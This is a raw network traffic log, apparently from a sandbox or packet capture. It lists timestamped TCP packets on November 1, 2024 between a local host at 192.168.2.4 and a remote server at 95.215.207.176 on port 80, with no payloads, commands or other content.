Nov 1, 2024 13:42:19.035299063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035315990 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035353899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035367966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035382986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035399914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035399914 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035409927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035415888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035434008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035434008 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035451889 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035511971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035542965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035557032 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035564899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035593987 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035617113 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035631895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035648108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035665035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035690069 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035691023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035706997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035733938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035743952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035749912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035767078 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035783052 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035793066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035837889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035860062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035876036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035883904 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035891056 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035908937 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035909891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.035917997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035933971 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035955906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.035990000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.036006927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.036024094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.036041021 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.036053896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.036066055 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.036084890 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.036098003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.036098957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.036120892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.036142111 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.039293051 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.039324999 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.039338112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.039349079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.039362907 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.039362907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.039378881 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.039382935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.039397001 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.039400101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.039424896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.039424896 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.152720928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152735949 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152759075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152774096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152790070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152837038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.152864933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152888060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152903080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152925968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152942896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152956009 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152971029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.152987957 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.153012037 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.153067112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158284903 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158339977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158349991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158365965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158390999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158406019 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158443928 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158468008 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158482075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158489943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158519983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158519983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158538103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158555031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158560038 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158574104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158586979 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158587933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158597946 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158618927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158632994 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158642054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158659935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158675909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158685923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158694983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158708096 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158736944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158761024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158792019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158806086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158808947 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158840895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158840895 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158865929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158880949 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158895016 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158909082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.158912897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158947945 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.158982038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159006119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159024000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159025908 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159045935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159065962 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159080982 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159096003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159121990 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159135103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159145117 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159152031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159168005 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159172058 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159198999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159204960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159209013 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159250975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159267902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159282923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159307003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159307003 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159327030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159332037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159348011 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159375906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159410000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159425020 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159440994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159456015 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159462929 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159482956 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159539938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159555912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159570932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159586906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.159588099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159604073 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159611940 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.159629107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.163552046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163636923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.163767099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163783073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163799047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163813114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163827896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163831949 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.163841963 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.163935900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.276640892 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276667118 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276683092 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276698112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276715040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276729107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276745081 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276746988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.276762962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276777029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.276866913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.281712055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281739950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281754971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281764984 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.281795979 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.281862974 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281879902 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281893969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281909943 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281909943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.281929016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.281954050 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.281975985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.281991959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282006979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282021046 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282022953 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282040119 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282047033 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282062054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282062054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282079935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282083988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282097101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282097101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282114983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282134056 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282152891 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282167912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282183886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282196999 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282206059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282239914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282255888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282268047 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282278061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282306910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282386065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282402039 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282418966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282423019 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282435894 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282439947 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282453060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282455921 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282470942 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282479048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282488108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282495975 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282510042 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282525063 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282526016 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282547951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282565117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282567978 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282582045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282610893 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282615900 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282635927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282638073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282655954 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282676935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282685995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282701969 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282727003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282752991 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282835960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282864094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282877922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.282881975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282901049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.282912016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.283010006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.283025026 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.283041954 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.283052921 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.283066034 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.283085108 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.283365011 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.283380985 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.283401966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.283416986 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.283430099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.283441067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287034035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287050962 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287065983 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287086964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287111044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287117958 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287128925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287144899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287151098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287162066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287163973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287184000 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287205935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287326097 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287374020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.287420034 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.287470102 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408279896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408313990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408329964 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408339977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408345938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408358097 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408363104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408370018 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408382893 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408385992 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408407927 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408407927 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408420086 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408425093 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408441067 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408448935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408458948 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408467054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408482075 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408482075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408499002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408504009 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408513069 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408535004 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408590078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408605099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408621073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408629894 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408637047 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408648014 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408653021 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408663034 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408668995 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408685923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408685923 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408694029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408706903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408725023 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408736944 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408751965 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408776045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408777952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408792019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408801079 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408807993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408811092 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408823967 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408833027 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408840895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408844948 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408858061 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408860922 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408874989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408888102 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408912897 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408927917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408942938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:19.408951044 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:19.408957958 CET	80	49754	95.215.207.176	192.168.2.4
